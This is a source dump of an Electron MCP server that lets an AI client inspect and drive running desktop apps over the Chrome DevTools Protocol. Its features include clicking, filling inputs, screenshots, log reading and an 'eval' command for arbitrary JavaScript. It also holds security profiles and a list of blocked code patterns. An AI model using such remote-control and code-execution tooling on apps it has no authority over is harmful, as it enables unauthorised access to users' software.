36 | // Instead of: document.querySelector('[title="Create New Encyclopedia"]').click()
37 | command: 'click_by_text';
38 | args: {
39 |   text: 'Create New Encyclopedia';
40 | }
41 | 
42 | // Instead of: location.hash = '#create'
43 | command: 'navigate_to_hash';
44 | args: {
45 |   text: 'create';
46 | }
47 | 
48 | // Instead of: new KeyboardEvent('keydown', {...})
49 | command: 'send_keyboard_shortcut';
50 | args: {
51 |   text: 'Ctrl+N';
52 | }
53 | ```
54 | 
55 | ### ❌ What Gets Blocked (and why):
56 | 
57 | ```javascript
58 | // ❌ Raw function calls in eval
59 | document.querySelector('[title="Create New Encyclopedia"]').click();
60 | // Reason: Function calls are restricted for security
61 | 
62 | // ❌ Assignment operations
63 | location.hash = '#create';
64 | // Reason: Assignment operations can be dangerous
65 | 
66 | // ❌ Constructor calls
67 | new KeyboardEvent('keydown', { key: 'n', metaKey: true });
68 | // Reason: Constructor calls can be used for code injection
69 | ```
70 | 
71 | ## Configuration in Code
72 | 
73 | The security level is automatically set to BALANCED and cannot be changed:
74 | 
75 | ```typescript
76 | import { SecurityManager } from './security/manager';
77 | 
78 | // SecurityManager automatically uses BALANCED security level
79 | const securityManager = new SecurityManager();
80 | 
81 | // Security level is fixed and cannot be changed at runtime
82 | // This ensures consistent security across all deployments
83 | ```
84 | 
```

--------------------------------------------------------------------------------
/src/index.ts:
--------------------------------------------------------------------------------

```typescript
 1 | #!/usr/bin/env node
 2 | 
 3 | // Load environment variables from .env file
 4 | import { config } from 'dotenv';
 5 | import { Server } from '@modelcontextprotocol/sdk/server/index';
 6 | import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio';
 7 | import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types';
 8 | import { tools } from './tools';
 9 | import { handleToolCall } from './handlers';
10 | import { logger } from './utils/logger';
11 | 
12 | config();
13 | 
14 | // Create MCP server instance
15 | const server = new Server(
16 |   {
17 |     name: 'electron-mcp-server',
18 |     version: '1.0.0',
19 |   },
20 |   {
21 |     capabilities: {
22 |       tools: {},
23 |     },
24 |   },
25 | );
26 | 
27 | // List available tools
28 | server.setRequestHandler(ListToolsRequestSchema, async () => {
29 |   logger.debug('Listing tools request received');
30 |   return { tools };
31 | });
32 | 
33 | // Handle tool execution
34 | server.setRequestHandler(CallToolRequestSchema, async (request) => {
35 |   const start = Date.now();
36 | 
37 |   logger.info(`Tool call: ${request.params.name}`);
38 |   logger.debug(`Tool call args:`, JSON.stringify(request.params.arguments, null, 2));
39 | 
40 |   const result = await handleToolCall(request);
41 | 
42 |   const duration = Date.now() - start;
43 |   if (duration > 1000) {
44 |     logger.warn(`Slow tool execution: ${request.params.name} took ${duration}ms`);
45 |   }
46 | 
47 |   // Log result but truncate large base64 data to avoid spam
48 |   if (logger.isEnabled(2)) {
49 |     // Only if DEBUG level
50 |     const logResult = { ...result };
51 |     if (logResult.content && Array.isArray(logResult.content)) {
52 |       logResult.content = logResult.content.map((item: any) => {
53 |         if (
54 |           item.type === 'text' &&
55 |           item.text &&
56 |           typeof item.text === 'string' &&
57 |           item.text.length > 1000
58 |         ) {
59 |           return {
60 |             ...item,
61 |             text: item.text.substring(0, 100) + '... [truncated]',
62 |           };
63 |         }
64 |         if (
65 |           item.type === 'image' &&
66 |           item.data &&
67 |           typeof item.data === 'string' &&
68 |           item.data.length > 100
69 |         ) {
70 |           return {
71 |             ...item,
72 |             data: item.data.substring(0, 50) + '... [base64 truncated]',
73 |           };
74 |         }
75 |         return item;
76 |       });
77 |     }
78 | 
79 |     logger.debug(`Tool call result:`, JSON.stringify(logResult, null, 2));
80 |   }
81 | 
82 |   return result;
83 | });
84 | 
85 | // Start the server
86 | async function main() {
87 |   const transport = new StdioServerTransport();
88 |   logger.info('Electron MCP Server starting...');
89 |   await server.connect(transport);
90 |   logger.info('Electron MCP Server running on stdio');
91 |   logger.info('Available tools:', tools.map((t) => t.name).join(', '));
92 | }
93 | 
94 | main().catch((error) => {
95 |   logger.error('Server error:', error);
96 |   process.exit(1);
97 | });
98 | 
```

--------------------------------------------------------------------------------
/src/tools.ts:
--------------------------------------------------------------------------------

```typescript
 1 | import { zodToJsonSchema } from 'zod-to-json-schema';
 2 | import {
 3 |   SendCommandToElectronSchema,
 4 |   TakeScreenshotSchema,
 5 |   ReadElectronLogsSchema,
 6 |   GetElectronWindowInfoSchema,
 7 |   ToolInput,
 8 | } from './schemas';
 9 | 
10 | // Tool name enumeration
11 | export enum ToolName {
12 |   SEND_COMMAND_TO_ELECTRON = 'send_command_to_electron',
13 |   TAKE_SCREENSHOT = 'take_screenshot',
14 |   READ_ELECTRON_LOGS = 'read_electron_logs',
15 |   GET_ELECTRON_WINDOW_INFO = 'get_electron_window_info',
16 | }
17 | 
18 | // Define tools available to the MCP server
19 | export const tools = [
20 |   {
21 |     name: ToolName.GET_ELECTRON_WINDOW_INFO,
22 |     description:
23 |       'Get information about running Electron applications and their windows. Automatically detects any Electron app with remote debugging enabled (port 9222).',
24 |     inputSchema: zodToJsonSchema(GetElectronWindowInfoSchema) as ToolInput,
25 |   },
26 |   {
27 |     name: ToolName.TAKE_SCREENSHOT,
28 |     description:
29 |       'Take a screenshot of any running Electron application window. Returns base64 image data for AI analysis. No files created unless outputPath is specified.',
30 |     inputSchema: zodToJsonSchema(TakeScreenshotSchema) as ToolInput,
31 |   },
32 |   {
33 |     name: ToolName.SEND_COMMAND_TO_ELECTRON,
34 |     description: `Send JavaScript commands to any running Electron application via Chrome DevTools Protocol. 
35 | 
36 | Enhanced UI interaction commands:
37 | - 'find_elements': Analyze all interactive elements (buttons, inputs, selects) with their properties
38 | - 'click_by_text': Click elements by their visible text, aria-label, or title
39 | - 'click_by_selector': Securely click elements by CSS selector
40 | - 'fill_input': Fill input fields by selector, placeholder text, or associated label
41 | - 'select_option': Select dropdown options by value or text
42 | - 'send_keyboard_shortcut': Send keyboard shortcuts like 'Ctrl+N', 'Meta+N', 'Enter', 'Escape'
43 | - 'navigate_to_hash': Safely navigate to hash routes (e.g., '#create', '#settings')
44 | - 'get_page_structure': Get organized overview of page elements (buttons, inputs, selects, links)
45 | - 'debug_elements': Get debugging info about buttons and form elements on the page
46 | - 'verify_form_state': Check current form state and validation status
47 | - 'get_title', 'get_url', 'get_body_text': Basic page information
48 | - 'eval': Execute custom JavaScript code with enhanced error reporting
49 | 
50 | IMPORTANT: Arguments must be passed as an object with the correct properties:
51 | 
52 | Examples:
53 | - click_by_selector: {"selector": "button.submit-btn"}
54 | - click_by_text: {"text": "Submit"}
55 | - fill_input: {"placeholder": "Enter name", "value": "John Doe"}
56 | - fill_input: {"selector": "#email", "value": "[email protected]"}
57 | - send_keyboard_shortcut: {"text": "Enter"}
58 | - eval: {"code": "document.title"}
59 | 
60 | Use 'get_page_structure' or 'debug_elements' first to understand available elements, then use specific interaction commands.`,
61 |     inputSchema: zodToJsonSchema(SendCommandToElectronSchema) as ToolInput,
62 |   },
63 |   {
64 |     name: ToolName.READ_ELECTRON_LOGS,
65 |     description:
66 |       'Read console logs and output from running Electron applications. Useful for debugging and monitoring app behavior.',
67 |     inputSchema: zodToJsonSchema(ReadElectronLogsSchema) as ToolInput,
68 |   },
69 | ];
70 | 
```

--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------

```json
 1 | {
 2 |   "name": "electron-mcp-server",
 3 |   "version": "1.5.0",
 4 |   "description": "MCP server for Electron application automation and management. See MCP_USAGE_GUIDE.md for proper argument structure examples.",
 5 |   "main": "dist/index.js",
 6 |   "bin": {
 7 |     "electron-mcp-server": "dist/index.js"
 8 |   },
 9 |   "scripts": {
10 |     "build": "webpack --config webpack.config.ts --mode production",
11 |     "build:dev": "webpack --config webpack.config.ts --mode development",
12 |     "dev": "tsx src/index.ts",
13 |     "dev:watch": "tsx --watch src/index.ts",
14 |     "start": "node dist/index.js",
15 |     "watch": "webpack --config webpack.config.ts --mode development --watch",
16 |     "watch-and-serve": "webpack --config webpack.config.ts --mode development --watch & node --watch dist/index.js",
17 |     "prepare": "npm run build",
18 |     "test": "vitest run",
19 |     "test:watch": "vitest",
20 |     "test:ui": "vitest --ui",
21 |     "test:react": "cd tests/integration/react-compatibility && electron test-react-electron.cjs",
22 |     "test:coverage": "vitest run --coverage",
23 |     "test:security": "npm run build && node test/security-test.js",
24 |     "test:clean": "tsx -e \"import('./test/utils/cleanup.js').then(m => m.TestCleanup.cleanup())\"",
25 |     "lint": "eslint src/**/*.ts",
26 |     "lint:fix": "eslint src/**/*.ts --fix",
27 |     "format": "prettier --write \"src/**/*.{ts,js,json,md}\"",
28 |     "format:check": "prettier --check \"src/**/*.{ts,js,json,md}\"",
29 |     "code:check": "npm run lint && npm run format:check",
30 |     "code:fix": "npm run lint:fix && npm run format"
31 |   },
32 |   "keywords": [
33 |     "mcp",
34 |     "electron",
35 |     "automation",
36 |     "desktop",
37 |     "model-context-protocol",
38 |     "devtools",
39 |     "testing",
40 |     "ai",
41 |     "chrome-devtools-protocol",
42 |     "screenshot",
43 |     "electron-automation"
44 |   ],
45 |   "author": "Halil Ural",
46 |   "license": "MIT",
47 |   "dependencies": {
48 |     "@modelcontextprotocol/sdk": "^1.0.0",
49 |     "@types/ws": "^8.18.1",
50 |     "dotenv": "^17.2.1",
51 |     "electron": "^28.0.0",
52 |     "playwright": "^1.54.1",
53 |     "ws": "^8.18.3",
54 |     "zod": "^3.22.4",
55 |     "zod-to-json-schema": "^3.22.4"
56 |   },
57 |   "devDependencies": {
58 |     "@eslint/js": "^9.32.0",
59 |     "@types/node": "^20.19.10",
60 |     "@types/webpack": "^5.28.5",
61 |     "@types/webpack-node-externals": "^3.0.4",
62 |     "@typescript-eslint/eslint-plugin": "^8.38.0",
63 |     "@typescript-eslint/parser": "^8.38.0",
64 |     "@vitest/coverage-v8": "^3.2.4",
65 |     "@vitest/ui": "^3.2.4",
66 |     "eslint": "^9.32.0",
67 |     "globals": "^16.3.0",
68 |     "jest": "^29.0.0",
69 |     "jiti": "^2.5.1",
70 |     "prettier": "^3.6.2",
71 |     "ts-jest": "^29.0.0",
72 |     "ts-loader": "^9.5.2",
73 |     "ts-node": "^10.9.2",
74 |     "tsx": "^4.6.0",
75 |     "typescript": "^5.8.3",
76 |     "typescript-eslint": "^8.38.0",
77 |     "vitest": "^3.2.4",
78 |     "webpack": "^5.101.0",
79 |     "webpack-cli": "^6.0.1",
80 |     "webpack-node-externals": "^3.0.0"
81 |   },
82 |   "files": [
83 |     "dist",
84 |     "README.md",
85 |     "LICENSE"
86 |   ],
87 |   "engines": {
88 |     "node": ">=18.0.0"
89 |   },
90 |   "repository": {
91 |     "type": "git",
92 |     "url": "git+https://github.com/halilural/electron-mcp-server.git"
93 |   },
94 |   "bugs": {
95 |     "url": "https://github.com/halilural/electron-mcp-server/issues"
96 |   },
97 |   "homepage": "https://github.com/halilural/electron-mcp-server#readme"
98 | }
99 | 
```

--------------------------------------------------------------------------------
/mcp-config.json:
--------------------------------------------------------------------------------

```json
  1 | {
  2 |   "name": "electron-mcp-server",
  3 |   "description": "Model Context Protocol server for Electron application management",
  4 |   "version": "1.0.0",
  5 |   "usage": {
  6 |     "claude_desktop": {
  7 |       "config_path": "~/Library/Application Support/Claude/claude_desktop_config.json",
  8 |       "config": {
  9 |         "mcpServers": {
 10 |           "electron": {
 11 |             "command": "npx",
 12 |             "args": ["-y", "electron-mcp-server"]
 13 |           }
 14 |         }
 15 |       }
 16 |     },
 17 |     "vscode": {
 18 |       "config": {
 19 |         "mcp": {
 20 |           "servers": {
 21 |             "electron": {
 22 |               "command": "npx",
 23 |               "args": ["-y", "electron-mcp-server"]
 24 |             }
 25 |           }
 26 |         }
 27 |       }
 28 |     }
 29 |   },
 30 |   "tools": [
 31 |     {
 32 |       "name": "launch_electron_app",
 33 |       "description": "Launch an Electron application from a specified path",
 34 |       "parameters": {
 35 |         "appPath": {
 36 |           "type": "string",
 37 |           "description": "Path to the Electron application",
 38 |           "required": true
 39 |         },
 40 |         "args": {
 41 |           "type": "array",
 42 |           "description": "Additional command line arguments",
 43 |           "required": false
 44 |         },
 45 |         "devMode": {
 46 |           "type": "boolean",
 47 |           "description": "Launch in development mode with debugging",
 48 |           "required": false
 49 |         }
 50 |       }
 51 |     },
 52 |     {
 53 |       "name": "close_electron_app",
 54 |       "description": "Close the currently running Electron application",
 55 |       "parameters": {
 56 |         "force": {
 57 |           "type": "boolean",
 58 |           "description": "Force close the application if unresponsive",
 59 |           "required": false
 60 |         }
 61 |       }
 62 |     },
 63 |     {
 64 |       "name": "get_electron_info",
 65 |       "description": "Get information about the Electron installation and environment",
 66 |       "parameters": {}
 67 |     },
 68 |     {
 69 |       "name": "create_electron_project",
 70 |       "description": "Create a new Electron project with a basic structure",
 71 |       "parameters": {
 72 |         "projectName": {
 73 |           "type": "string",
 74 |           "description": "Name of the new project",
 75 |           "required": true
 76 |         },
 77 |         "projectPath": {
 78 |           "type": "string",
 79 |           "description": "Directory where to create the project",
 80 |           "required": true
 81 |         },
 82 |         "template": {
 83 |           "type": "string",
 84 |           "description": "Project template (basic, react, vue, angular)",
 85 |           "required": false,
 86 |           "default": "basic"
 87 |         }
 88 |       }
 89 |     },
 90 |     {
 91 |       "name": "build_electron_app",
 92 |       "description": "Build an Electron application for distribution",
 93 |       "parameters": {
 94 |         "projectPath": {
 95 |           "type": "string",
 96 |           "description": "Path to the Electron project",
 97 |           "required": true
 98 |         },
 99 |         "platform": {
100 |           "type": "string",
101 |           "description": "Target platform (win32, darwin, linux)",
102 |           "required": false
103 |         },
104 |         "arch": {
105 |           "type": "string",
106 |           "description": "Target architecture (x64, arm64, ia32)",
107 |           "required": false
108 |         },
109 |         "debug": {
110 |           "type": "boolean",
111 |           "description": "Build in debug mode",
112 |           "required": false
113 |         }
114 |       }
115 |     },
116 |     {
117 |       "name": "get_electron_process_info",
118 |       "description": "Get information about the currently running Electron process",
119 |       "parameters": {}
120 |     },
121 |     {
122 |       "name": "send_command_to_electron",
123 |       "description": "Send commands to the running Electron application (requires IPC setup)",
124 |       "parameters": {
125 |         "command": {
126 |           "type": "string",
127 |           "description": "Command to send",
128 |           "required": true
129 |         },
130 |         "args": {
131 |           "type": "any",
132 |           "description": "Command arguments",
133 |           "required": false
134 |         }
135 |       }
136 |     }
137 |   ]
138 | }
139 | 
```

--------------------------------------------------------------------------------
/src/utils/electron-logs.ts:
--------------------------------------------------------------------------------

```typescript
  1 | import { exec } from 'child_process';
  2 | import { promisify } from 'util';
  3 | import { findElectronTarget, connectForLogs } from './electron-connection';
  4 | import { logger } from './logger';
  5 | 
  6 | export type LogType = 'console' | 'main' | 'renderer' | 'all';
  7 | 
  8 | export interface LogEntry {
  9 |   timestamp: string;
 10 |   level: string;
 11 |   message: string;
 12 |   source: 'console' | 'system';
 13 | }
 14 | 
 15 | /**
 16 |  * Read logs from running Electron applications
 17 |  */
 18 | export async function readElectronLogs(
 19 |   logType: LogType = 'all',
 20 |   lines: number = 100,
 21 |   follow: boolean = false,
 22 | ): Promise<string> {
 23 |   try {
 24 |     logger.info('[MCP] Looking for running Electron applications for log access...');
 25 | 
 26 |     try {
 27 |       const target = await findElectronTarget();
 28 | 
 29 |       // Connect via WebSocket to get console logs
 30 |       if (logType === 'console' || logType === 'all') {
 31 |         return await getConsoleLogsViaDevTools(target, lines, follow);
 32 |       }
 33 |     } catch {
 34 |       logger.info('[MCP] No DevTools connection found, checking system logs...');
 35 |     }
 36 | 
 37 |     // Fallback to system logs if DevTools not available
 38 |     return await getSystemElectronLogs(lines);
 39 |   } catch (error) {
 40 |     throw new Error(
 41 |       `Failed to read logs: ${error instanceof Error ? error.message : String(error)}`,
 42 |     );
 43 |   }
 44 | }
 45 | 
 46 | /**
 47 |  * Get console logs via Chrome DevTools Protocol
 48 |  */
 49 | async function getConsoleLogsViaDevTools(
 50 |   target: any,
 51 |   lines: number,
 52 |   follow: boolean,
 53 | ): Promise<string> {
 54 |   const logs: string[] = [];
 55 | 
 56 |   return new Promise((resolve, reject) => {
 57 |     (async () => {
 58 |       try {
 59 |         const ws = await connectForLogs(target, (log: string) => {
 60 |           logs.push(log);
 61 |           if (logs.length >= lines && !follow) {
 62 |             ws.close();
 63 |             resolve(logs.slice(-lines).join('\n'));
 64 |           }
 65 |         });
 66 | 
 67 |         // For non-follow mode, try to get console history first
 68 |         if (!follow) {
 69 |           // Request console API calls from Runtime
 70 |           ws.send(
 71 |             JSON.stringify({
 72 |               id: 99,
 73 |               method: 'Runtime.evaluate',
 74 |               params: {
 75 |                 expression: `console.log("Reading console history for MCP test"); "History checked"`,
 76 |                 includeCommandLineAPI: true,
 77 |               },
 78 |             }),
 79 |           );
 80 | 
 81 |           // Wait longer for logs to be captured and history to be available
 82 |           setTimeout(() => {
 83 |             ws.close();
 84 |             resolve(logs.length > 0 ? logs.slice(-lines).join('\n') : 'No console logs available');
 85 |           }, 7000); // Increased timeout to 7 seconds
 86 |         }
 87 |       } catch (error) {
 88 |         reject(error);
 89 |       }
 90 |     })();
 91 |   });
 92 | }
 93 | 
 94 | /**
 95 |  * Get system logs for Electron processes
 96 |  */
 97 | async function getSystemElectronLogs(lines: number = 100): Promise<string> {
 98 |   logger.info('[MCP] Reading system logs for Electron processes...');
 99 | 
100 |   try {
101 |     const execAsync = promisify(exec);
102 | 
103 |     // Get running Electron processes
104 |     const { stdout } = await execAsync('ps aux | grep -i electron | grep -v grep');
105 |     const electronProcesses = stdout
106 |       .trim()
107 |       .split('\n')
108 |       .filter((line) => line.length > 0);
109 | 
110 |     if (electronProcesses.length === 0) {
111 |       return 'No Electron processes found running on the system.';
112 |     }
113 | 
114 |     let logOutput = `Found ${electronProcesses.length} Electron process(es):\n\n`;
115 | 
116 |     electronProcesses.forEach((process, index) => {
117 |       const parts = process.trim().split(/\s+/);
118 |       const pid = parts[1];
119 |       const command = parts.slice(10).join(' ');
120 |       logOutput += `Process ${index + 1}:\n`;
121 |       logOutput += `  PID: ${pid}\n`;
122 |       logOutput += `  Command: ${command}\n\n`;
123 |     });
124 | 
125 |     try {
126 |       const { stdout: logContent } = await execAsync(
127 |         `log show --last 1h --predicate 'process == "Electron"' --style compact | tail -${lines}`,
128 |       );
129 |       if (logContent.trim()) {
130 |         logOutput += 'Recent Electron logs from system:\n';
131 |         logOutput += '==========================================\n';
132 |         logOutput += logContent;
133 |       } else {
134 |         logOutput +=
135 |           'No recent Electron logs found in system logs. Try enabling remote debugging with --remote-debugging-port=9222 for better log access.';
136 |       }
137 |     } catch {
138 |       logOutput +=
139 |         'Could not access system logs. For detailed logging, start Electron app with --remote-debugging-port=9222';
140 |     }
141 | 
142 |     return logOutput;
143 |   } catch (error) {
144 |     return `Error reading system logs: ${error instanceof Error ? error.message : String(error)}`;
145 |   }
146 | }
147 | 
```

--------------------------------------------------------------------------------
/src/security/config.ts:
--------------------------------------------------------------------------------

```typescript
  1 | import { SecurityConfig } from './manager';
  2 | import { logger } from '../utils/logger';
  3 | 
  4 | export enum SecurityLevel {
  5 |   STRICT = 'strict', // Maximum security - blocks most function calls
  6 |   BALANCED = 'balanced', // Default - allows safe UI interactions
  7 |   PERMISSIVE = 'permissive', // Minimal restrictions - allows more operations
  8 |   DEVELOPMENT = 'development', // Least restrictive - for development/testing
  9 | }
 10 | 
 11 | /**
 12 |  * Represents a security profile configuration for controlling access and interactions within the application.
 13 |  *
 14 |  * @property level - The security level applied to the profile.
 15 |  * @property allowUIInteractions - Indicates if UI interactions are permitted.
 16 |  * @property allowDOMQueries - Indicates if DOM queries are allowed.
 17 |  * @property allowPropertyAccess - Indicates if property access is permitted.
 18 |  * @property allowAssignments - Indicates if assignments to properties are allowed.
 19 |  * @property allowFunctionCalls - Whitelist of allowed function patterns for invocation.
 20 |  * @property riskThreshold - The risk threshold level ('low', 'medium', 'high', or 'critical') for the profile.
 21 |  */
 22 | export interface SecurityProfile {
 23 |   level: SecurityLevel;
 24 |   allowUIInteractions: boolean;
 25 |   allowDOMQueries: boolean;
 26 |   allowPropertyAccess: boolean;
 27 |   allowAssignments: boolean;
 28 |   allowFunctionCalls: string[]; // Whitelist of allowed function patterns
 29 |   riskThreshold: 'low' | 'medium' | 'high' | 'critical';
 30 | }
 31 | 
 32 | export const SECURITY_PROFILES: Record<SecurityLevel, SecurityProfile> = {
 33 |   [SecurityLevel.STRICT]: {
 34 |     level: SecurityLevel.STRICT,
 35 |     allowUIInteractions: false,
 36 |     allowDOMQueries: false,
 37 |     allowPropertyAccess: true,
 38 |     allowAssignments: false,
 39 |     allowFunctionCalls: [],
 40 |     riskThreshold: 'low',
 41 |   },
 42 | 
 43 |   [SecurityLevel.BALANCED]: {
 44 |     level: SecurityLevel.BALANCED,
 45 |     allowUIInteractions: true,
 46 |     allowDOMQueries: true,
 47 |     allowPropertyAccess: true,
 48 |     allowAssignments: false,
 49 |     allowFunctionCalls: [
 50 |       'querySelector',
 51 |       'querySelectorAll',
 52 |       'getElementById',
 53 |       'getElementsByClassName',
 54 |       'getElementsByTagName',
 55 |       'getComputedStyle',
 56 |       'getBoundingClientRect',
 57 |       'focus',
 58 |       'blur',
 59 |       'scrollIntoView',
 60 |       'dispatchEvent',
 61 |     ],
 62 |     riskThreshold: 'medium',
 63 |   },
 64 | 
 65 |   [SecurityLevel.PERMISSIVE]: {
 66 |     level: SecurityLevel.PERMISSIVE,
 67 |     allowUIInteractions: true,
 68 |     allowDOMQueries: true,
 69 |     allowPropertyAccess: true,
 70 |     allowAssignments: true,
 71 |     allowFunctionCalls: [
 72 |       'querySelector',
 73 |       'querySelectorAll',
 74 |       'getElementById',
 75 |       'getElementsByClassName',
 76 |       'getElementsByTagName',
 77 |       'getComputedStyle',
 78 |       'getBoundingClientRect',
 79 |       'focus',
 80 |       'blur',
 81 |       'scrollIntoView',
 82 |       'dispatchEvent',
 83 |       'click',
 84 |       'submit',
 85 |       'addEventListener',
 86 |       'removeEventListener',
 87 |     ],
 88 |     riskThreshold: 'high',
 89 |   },
 90 | 
 91 |   [SecurityLevel.DEVELOPMENT]: {
 92 |     level: SecurityLevel.DEVELOPMENT,
 93 |     allowUIInteractions: true,
 94 |     allowDOMQueries: true,
 95 |     allowPropertyAccess: true,
 96 |     allowAssignments: true,
 97 |     allowFunctionCalls: ['*'], // Allow all function calls
 98 |     riskThreshold: 'critical',
 99 |   },
100 | };
101 | 
102 | export function getSecurityConfig(
103 |   level: SecurityLevel = SecurityLevel.BALANCED,
104 | ): Partial<SecurityConfig> {
105 |   const profile = SECURITY_PROFILES[level];
106 | 
107 |   return {
108 |     defaultRiskThreshold: profile.riskThreshold,
109 |     enableInputValidation: true,
110 |     enableAuditLog: true,
111 |     enableSandbox: level !== SecurityLevel.DEVELOPMENT,
112 |     enableScreenshotEncryption: level !== SecurityLevel.DEVELOPMENT,
113 |   };
114 | }
115 | 
116 | /**
117 |  * Get the default security level from environment variable or fallback to BALANCED
118 |  * Environment variable: SECURITY_LEVEL
119 |  * Valid values: strict, balanced, permissive, development
120 |  */
121 | export function getDefaultSecurityLevel(): SecurityLevel {
122 |   const envSecurityLevel = process.env.SECURITY_LEVEL;
123 |   
124 |   if (envSecurityLevel) {
125 |     const normalizedLevel = envSecurityLevel.toLowerCase();
126 |     
127 |     // Check if the provided value is a valid SecurityLevel
128 |     if (Object.values(SecurityLevel).includes(normalizedLevel as SecurityLevel)) {
129 |       logger.info(`Using security level from environment: ${normalizedLevel}`);
130 |       return normalizedLevel as SecurityLevel;
131 |     } else {
132 |       logger.warn(`Invalid security level in environment variable: ${envSecurityLevel}. Valid values are: ${Object.values(SecurityLevel).join(', ')}. Falling back to BALANCED.`);
133 |     }
134 |   }
135 |   
136 |   logger.info('Using BALANCED security level (default)');
137 |   return SecurityLevel.BALANCED;
138 | }
139 | 
```

--------------------------------------------------------------------------------
/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------

```markdown
  1 | # Bug Report Template
  2 | 
  3 | When reporting bugs with the Electron MCP Server, please include the following technical details to help developers understand and reproduce the issue.
  4 | 
  5 | ## Basic Information
  6 | 
  7 | - **MCP Server Version**: `[email protected]`
  8 | - **Node.js Version**: `node --version`
  9 | - **Electron Version**: `electron --version`
 10 | - **Operating System**: Windows/macOS/Linux
 11 | - **Security Level**: STRICT/BALANCED/PERMISSIVE/DEVELOPMENT
 12 | 
 13 | ## Bug Description
 14 | 
 15 | ### Expected Behavior
 16 | What should happen when the command is executed.
 17 | 
 18 | ### Actual Behavior
 19 | What actually happens, including any error messages.
 20 | 
 21 | ## Reproduction Steps
 22 | 
 23 | ### 1. MCP Command Structure
 24 | 
 25 | **Tool Name**: `tool_name`
 26 | **Method**: `tools/call`
 27 | **Arguments Structure**:
 28 | ```json
 29 | {
 30 |   "jsonrpc": "2.0",
 31 |   "id": 1,
 32 |   "method": "tools/call",
 33 |   "params": {
 34 |     "name": "tool_name",
 35 |     "arguments": {
 36 |       "command": "command_name",
 37 |       "args": {
 38 |         "parameter": "value"
 39 |       }
 40 |     }
 41 |   }
 42 | }
 43 | ```
 44 | 
 45 | ### 2. Full Command Example
 46 | 
 47 | ```bash
 48 | echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Button Text"}}}}' | node dist/index.js
 49 | ```
 50 | 
 51 | ### 3. Error Output
 52 | 
 53 | ```
 54 | [MCP] ERROR: Error message here
 55 | {"result":{"content":[{"type":"text","text":"❌ Error: Detailed error message"}],"isError":true},"jsonrpc":"2.0","id":1}
 56 | ```
 57 | 
 58 | ### 4. Expected Output
 59 | 
 60 | ```
 61 | [MCP] INFO: Success message here
 62 | {"result":{"content":[{"type":"text","text":"✅ Result: Success message"}],"isError":false},"jsonrpc":"2.0","id":1}
 63 | ```
 64 | 
 65 | ## Technical Context
 66 | 
 67 | ### Target Application
 68 | - **Application Type**: React/Vue/Angular/Vanilla JS
 69 | - **Framework Version**: React 18, Vue 3, etc.
 70 | - **Electron Remote Debugging**: Port 9222 enabled
 71 | - **DevTools Available**: Yes/No
 72 | 
 73 | ### Environment Setup
 74 | 
 75 | ```bash
 76 | # Commands to reproduce the environment
 77 | npm install
 78 | npm run build
 79 | npm run start
 80 | ```
 81 | 
 82 | ### Application State
 83 | - **Page URL**: `file:///path/to/app.html` or `http://localhost:3000`
 84 | - **DOM Elements**: Provide `get_page_structure` output if relevant
 85 | - **Console Errors**: Any JavaScript errors in the target application
 86 | 
 87 | ## Additional Information
 88 | 
 89 | ### Related Files
 90 | - Source code files involved
 91 | - Configuration files
 92 | - Log files
 93 | 
 94 | ### Debugging Attempts
 95 | What you've already tried to fix the issue.
 96 | 
 97 | ### Screenshots
 98 | Include screenshots of the application state, if helpful.
 99 | 
100 | ---
101 | 
102 | ## Example Bug Reports
103 | 
104 | ### Example 1: Click Command Failure
105 | 
106 | **Bug**: Click commands fail on React components with preventDefault
107 | 
108 | **MCP Command**:
109 | ```bash
110 | echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Submit"}}}}' | node dist/index.js
111 | ```
112 | 
113 | **Error Output**:
114 | ```
115 | [MCP] INFO: Tool call: send_command_to_electron
116 | {"result":{"content":[{"type":"text","text":"❌ Error: Click events were cancelled by the page"}],"isError":true},"jsonrpc":"2.0","id":1}
117 | ```
118 | 
119 | **Expected Output**:
120 | ```
121 | {"result":{"content":[{"type":"text","text":"✅ Result: Successfully clicked element: Submit"}],"isError":false},"jsonrpc":"2.0","id":1}
122 | ```
123 | 
124 | **Technical Details**:
125 | - **Target Element**: `<button onClick={e => e.preventDefault()}>Submit</button>`
126 | - **Issue Location**: `src/utils/electron-commands.ts:515`
127 | - **Root Cause**: preventDefault() treated as failure condition
128 | 
129 | ### Example 2: Form Input Detection Failure
130 | 
131 | **Bug**: fill_input returns "No suitable input found" for visible React inputs
132 | 
133 | **MCP Command**:
134 | ```bash
135 | echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node dist/index.js
136 | ```
137 | 
138 | **Error Output**:
139 | ```
140 | {"result":{"content":[{"type":"text","text":"❌ Error: No suitable input found for: \"username\". Available inputs: email, password, submit"}],"isError":true},"jsonrpc":"2.0","id":2}
141 | ```
142 | 
143 | **Page Structure Output**:
144 | ```bash
145 | echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node dist/index.js
146 | ```
147 | 
148 | ```json
149 | {
150 |   "inputs": [
151 |     {
152 |       "type": "text",
153 |       "placeholder": "Enter username",
154 |       "label": "Username",
155 |       "id": "username",
156 |       "name": "username",
157 |       "visible": true
158 |     }
159 |   ]
160 | }
161 | ```
162 | 
163 | **Technical Details**:
164 | - **Target Element**: `<input id="username" name="username" placeholder="Enter username" />`
165 | - **Issue Location**: `src/utils/electron-input-commands.ts` scoring algorithm
166 | - **Root Cause**: Scoring algorithm fails to match React-rendered inputs
167 | 
```

--------------------------------------------------------------------------------
/src/utils/electron-discovery.ts:
--------------------------------------------------------------------------------

```typescript
  1 | import { exec } from 'child_process';
  2 | import { promisify } from 'util';
  3 | import { logger } from './logger';
  4 | 
  5 | export interface ElectronAppInfo {
  6 |   port: number;
  7 |   targets: any[];
  8 | }
  9 | 
 10 | export interface WindowInfo {
 11 |   id: string;
 12 |   title: string;
 13 |   url: string;
 14 |   type: string;
 15 |   description: string;
 16 |   webSocketDebuggerUrl: string;
 17 | }
 18 | 
 19 | export interface ElectronWindowResult {
 20 |   platform: string;
